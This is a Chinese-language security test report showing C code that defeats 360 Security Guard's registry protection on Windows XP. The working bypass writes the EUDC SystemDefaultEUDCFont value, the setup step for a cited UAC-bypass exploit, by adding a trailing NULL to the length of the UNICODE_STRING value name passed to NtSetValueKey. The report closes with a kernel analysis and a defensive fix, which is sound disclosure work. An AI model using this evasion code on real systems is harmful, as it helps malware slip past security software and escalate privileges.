一.测试环境
本次测试所采用的操作系统为中文版Windows XP SP3(使用360安全卫士更新了所有补丁),360安全卫士 7.8.0.1001(备用木马库2011-04-01),360杀毒软件2.0.0.1330(病毒库日期2011-04-01 03:49),计算机处于联网状态,360安全卫士、360杀毒都“已成功连接至360云安全中心”。建立了一个名为admin的管理员用户。

【注意!】本次测试都在管理员下进行。

二.测试

1.测试1

#include <windows.h>

void main()
{
  BYTE  RegBuf[0x28] = {0};
  HKEY  hKey;

  if ( RegOpenKey(HKEY_CURRENT_USER,L"EUDC\\936",&hKey) == ERROR_SUCCESS )
  {
    RegSetValueEx(hKey, L"SystemDefaultEUDCFont", 0, REG_BINARY, RegBuf, 0x28);
    RegCloseKey(hKey);
  }
}

编译后运行,360木马防火墙提示风险“发现程序正在修改系统关键设置”,默认选择为“阻止本次操作”,点确定后HKEY_CURRENT_USER\EUDC\936下SystemDefaultEUDCFont的数据以及类型没有被修改。

2.测试2
考虑到RegSetValueEx是位于Advapi32.dll里面的一个函数,不够底层,在RegSetValueEx的执行过程中可能会存在干扰,于是调用ntdll.dll里面的NtSetValueKey。

#include <windows.h>

typedef struct _UNICODE_STRING {
  USHORT  Length;
  USHORT  MaximumLength;
  WCHAR  *Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef NTSTATUS ( __stdcall *NtSetValueKey_ ) (
  IN HANDLE      KeyHandle,
  IN PUNICODE_STRING  ValueName,
  IN ULONG      TitleIndex,
  IN ULONG      Type,
  IN PVOID      Data,
  IN ULONG      DataSize
  );
NtSetValueKey_ NtSetValueKey = NULL;

int main()
{
  BYTE  RegBuf[0x28] = {0};
  HKEY  hKey;

  if ( RegOpenKey(HKEY_CURRENT_USER,L"EUDC\\936",&hKey) != ERROR_SUCCESS )
    return FALSE;

  NtSetValueKey    =  (NtSetValueKey_)GetProcAddress(GetModuleHandle(L"ntdll.dll"),"NtSetValueKey");
  if ( NtSetValueKey == NULL )
    return FALSE;
  
  WCHAR  lpszName[22]    =  L"SystemDefaultEUDCFont";//21个字符

  UNICODE_STRING    ValueName;
  ValueName.Buffer      =  lpszName;
  ValueName.Length      =  21 * 2;
  ValueName.MaximumLength    =  21 * 2;

  NtSetValueKey( (HANDLE)hKey, &ValueName, NULL,REG_BINARY, (BYTE *)RegBuf, 0x28 );

  RegCloseKey(hKey);
}

编译后运行,360木马防火墙仍然提示风险“发现程序正在修改系统关键设置”,默认选择为“阻止本次操作”,点确定后HKEY_CURRENT_USER\EUDC\936下SystemDefaultEUDCFont的数据以及类型没有被修改。

【思考】
对于UNICODE_STRING结构体,Length表明了字符串的长度,Buffer指向的字符串不再以NULL表示字符串的结束。回忆很久以前刚开始学习C语言时,书、老师都在强调:字符串末尾是NULL,碰到NULL就说明字符串结束了。于是灵光一闪,如果在UNICODE_STRING里面加个NULL会怎样?


3.测试3
#include <windows.h>

typedef struct _UNICODE_STRING {
  USHORT  Length;
  USHORT  MaximumLength;
  WCHAR  *Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef NTSTATUS ( __stdcall *NtSetValueKey_ ) (
  IN HANDLE      KeyHandle,
  IN PUNICODE_STRING  ValueName,
  IN ULONG      TitleIndex,
  IN ULONG      Type,
  IN PVOID      Data,
  IN ULONG      DataSize
  );
NtSetValueKey_ NtSetValueKey = NULL;

int main()
{
  BYTE  RegBuf[0x28] = {0};
  HKEY  hKey;

  if ( RegOpenKey(HKEY_CURRENT_USER,L"EUDC\\936",&hKey) != ERROR_SUCCESS )
    return FALSE;

  NtSetValueKey    =  (NtSetValueKey_)GetProcAddress(GetModuleHandle(L"ntdll.dll"),"NtSetValueKey");
  if ( NtSetValueKey == NULL )
    return FALSE;
  
  WCHAR  lpszName[22]    =  L"SystemDefaultEUDCFont";//21个字符

  UNICODE_STRING    ValueName;
  ValueName.Buffer      =  lpszName;
  ValueName.Length      =  21 * 2 + 2;//长度+2,指明多了一个NULL,这是关键之处!
  ValueName.MaximumLength    =  21 * 2 + 2;//长度+2,指明多了一个NULL

  NtSetValueKey( (HANDLE)hKey, &ValueName, NULL,REG_BINARY, (BYTE *)RegBuf, 0x28 );

  RegCloseKey(hKey);
}
上面代码的关键之处在于ValueName.Length要+2,使得UNICODE_STRING中包含一个NULL。编译后运行,360无任何提示。运行regedit.exe,可以看到HKEY_CURRENT_USER\EUDC\936下面的SystemDefaultEUDCFont数值类型为REG_BINARY,数值数据是一连串的0。

4.nt!NtSetValueKey是怎么处理的?
以ntkrnlpa.exe(5.1.2600.6055)为例,在0x8061A410处开始处理UNICODE_STRING.Buffer所指向的字符串末尾的NULL,有一个NULL就将Length减2,两个就减4,碰到第一个不是NULL的字符为止。这样在传递到nt!CmSetValueKey时,UNICODE_STRING最后面就不包括NULL了,SystemDefaultEUDCFont+NULL变成了SystemDefaultEUDCFont

5.防御建议
对比要保护的数值名称时,请无视Buffer末尾的NULL!

三、参考资料
HKEY_CURRENT_USER\EUDC\936:
Nooby的POC:http://www.debugman.com/discussion/5767/
英文文档http://www.security.nl/files/Bypass_UAC.pdf

UNICODE_STRING:《天书夜读:从汇编语言到Windows内核编程》P40

nt!NtSetValueKey:IDA反汇编分析或WRK